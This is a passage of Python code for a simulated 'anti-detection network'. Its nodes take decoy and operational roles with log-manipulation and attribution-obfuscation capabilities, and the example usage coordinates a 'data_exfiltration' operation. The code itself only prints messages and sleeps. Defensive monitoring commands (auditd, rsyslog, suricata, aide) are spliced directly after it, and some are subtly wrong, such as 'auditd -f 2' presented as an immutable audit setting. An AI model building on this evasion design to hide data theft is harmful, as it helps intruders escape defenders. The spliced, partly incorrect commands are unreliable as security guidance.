            node_id = hashlib.sha256(f"node_{i}_{time.time()}".encode()).hexdigest()[:16]
            
            node_config = {
                'node_id': node_id,
                'role': random.choice(['decoy', 'operational', 'coordination']),
                'location': f"region_{random.randint(1, 5)}",
                'capabilities': random.sample(['traffic_gen', 'log_manipulation', 'behavioral_camouflage', 'attribution_obfuscation'], random.randint(2, 4))
            }
            
            self.network_nodes[node_id] = node_config
            print(f"Network node initialized: {node_id} - Role: {node_config['role']}")
        
        print(f"Distributed anti-detection network initialized with {self.node_count} nodes")
    
    def coordinate_distributed_activity(self, target_operation):
        """Coordinate distributed anti-detection activity"""
        
        # Assign roles for target operation
        operational_nodes = [node_id for node_id, config in self.network_nodes.items() 
                           if config['role'] == 'operational']
        decoy_nodes = [node_id for node_id, config in self.network_nodes.items() 
                      if config['role'] == 'decoy']
        
        coordination_plan = {
            'operation_id': hashlib.sha256(f"{target_operation}_{time.time()}".encode()).hexdigest()[:16],
            'operational_nodes': operational_nodes[:3],  # Limit active operational nodes
            'decoy_nodes': decoy_nodes,
            'timeline': {
                'preparation': time.time(),
                'execution': time.time() + 300,  # 5 minutes
                'cleanup': time.time() + 900     # 15 minutes
            }
        }
        
        print(f"Coordinated operation plan: {coordination_plan['operation_id']}")
        print(f"Operational nodes: {len(coordination_plan['operational_nodes'])}")
        print(f"Decoy nodes: {len(coordination_plan['decoy_nodes'])}")
        
        # Execute coordination
        self.execute_coordinated_operation(coordination_plan)
    
    def execute_coordinated_operation(self, plan):
        """Execute coordinated distributed operation"""
        
        def operational_node_task(node_id):
            print(f"Operational node {node_id} executing primary task")
            time.sleep(random.uniform(60, 180))  # 1-3 minutes
            print(f"Operational node {node_id} task completed")
        
        def decoy_node_task(node_id):
            print(f"Decoy node {node_id} generating cover traffic")
            for _ in range(random.randint(5, 15)):
                print(f"  Decoy activity from {node_id}")
                time.sleep(random.uniform(10, 30))
            print(f"Decoy node {node_id} cover generation completed")
        
        # Start operational nodes
        operational_threads = []
        for node_id in plan['operational_nodes']:
            thread = threading.Thread(target=operational_node_task, args=(node_id,))
            thread.start()
            operational_threads.append(thread)
        
        # Start decoy nodes
        decoy_threads = []
        for node_id in plan['decoy_nodes'][:5]:  # Limit active decoy nodes
            thread = threading.Thread(target=decoy_node_task, args=(node_id,))
            thread.start()
            decoy_threads.append(thread)
        
        # Wait for operational completion
        for thread in operational_threads:
            thread.join()
        
        # Continue decoy activity for cover
        print("Operational phase completed - maintaining decoy cover")
        
        # Wait for decoy completion
        for thread in decoy_threads:
            thread.join()
        
        print(f"Coordinated operation {plan['operation_id']} completed")

# Example usage
distributed_network = DistributedAntiDetectionNetwork(15)

# Initialize network
distributed_network.initialize_network_nodes()

# Coordinate distributed operation
distributed_network.coordinate_distributed_activity("data_exfiltration")

# Implement comprehensive logging with tamper detection
auditd -f 2  # Immutable audit configuration
rsyslog -c /etc/rsyslog.conf  # Centralized logging

# Deploy network behavior analysis
suricata -c /etc/suricata/suricata.yaml -i eth0

# Implement file integrity monitoring
aide --init  # Initialize file integrity database
aide --check  # Regular integrity checking